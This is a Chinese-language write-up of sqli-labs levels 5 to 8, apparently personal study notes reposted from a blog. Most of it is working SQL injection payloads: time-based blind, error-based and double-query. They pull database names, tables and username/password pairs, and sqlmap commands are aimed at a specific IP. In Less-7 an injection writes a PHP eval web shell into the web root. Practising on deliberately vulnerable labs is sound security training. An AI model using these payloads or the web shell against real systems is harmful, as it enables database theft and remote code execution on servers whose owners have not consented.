sqlilab-Less-5-8 测试writeup

Less-5 基于GET的单引号字符串注入-(双注入,不回显查询结果)

这里跟Less-1注入方式一样,但是做了调整为不显示查询的结果,所以这里是不能使用联合查询的注入方式进行注入

手工延时注入

爆库
?id=1' and if(length(database())=8,sleep(5),1)--+ 如果是延时查询了,说明当前当前查询的sql语句被正常执行,数据库存在8个字符
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
?id=1' and if(left(database(),2)='se',sleep(5),1)--+
?id=1' and if(left(database(),3)='sec',sleep(5),1)--+
?id=1' and if(left(database(),4)='secu',sleep(5),1)--+
?id=1' and if(left(database(),5)='secur',sleep(5),1)--+
?id=1' and if(left(database(),6)='securi',sleep(5),1)--+
?id=1' and if(left(database(),7)='securit',sleep(5),1)--+
?id=1' and if(left(database(),8)='security',sleep(5),1)--+
上述依次执行查询都会延时说明是正常执行,存在数据库security

爆表
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

爆字段
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+ 这里执行有点问题,待查找

爆表中的数据
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

--------------------------------------------------------------------------------------------------------------------------

手工报错注入
爆表
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

爆字段
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

爆表中的数据
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
或者
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

看到网上一篇文章双查询注入
http://www.2cto.com/article/201303/192718.html

爆库
?id=-1' union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
或者
?id=1' union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

爆用户
?id=1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+

爆表名
?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

爆字段
?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

爆字段信息
?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+


sqlmap注入

联合查询注入
不能注入

报错注入
python sqlmap.py -u http://106.54.35.126/Less-5/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=E -v 3

布尔盲注
python sqlmap.py -u http://106.54.35.126/Less-5/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

时间延时盲注
python sqlmap.py -u http://106.54.35.126/Less-5/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

=================================================================================================================================

Less-6 基于GET的单引号字符串注入-(双注入,不回显查询结果)

跟Less-5注入方式一样,只是这里是由上题的单引号变成了双引号,其他的都一样做了调整为不显示查询的结果,所以这里是不能使用联合查询的注入方式进行注入

=================================================================================================================================

Less-7 导出文件的形式基于GET的字符型注入

仅支持布尔型盲注和时间延时型盲注

布尔盲注
python sqlmap.py -u http://106.54.35.126/Less-7/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

时间延时盲注
python sqlmap.py -u http://106.54.35.126/Less-7/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

手工写入一句话,写文件,我这里的靶机是docker搭建的,默认权限是755,由于通过注入的方式写入文件,权限是mysql用户写文件,所以进入docker使用chmod -R /var/www/html/ 给其所有权限,如果还是不行就在配置文件中添加secure-file-priv

http://106.54.35.126/Less-7?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "/var/www/html/Less-7/bmfx.php"--+

http://106.54.35.126/Less-7?id=1'))+UNION+SELECT 1,2,"<?php phpinfo();?>" INTO OUTFILE "/var/www/html/Less-7/info.php"--+

Less-8 布尔型单引号基于GET的字符型注入

仅支持布尔型盲注和时间延时型盲注 ,这里跟Less-7一样,只是变成了单引号进行注入

布尔盲注
python sqlmap.py -u http://106.54.35.126/Less-8/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

时间延时盲注
python sqlmap.py -u http://106.54.35.126/Less-8/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/13685561.html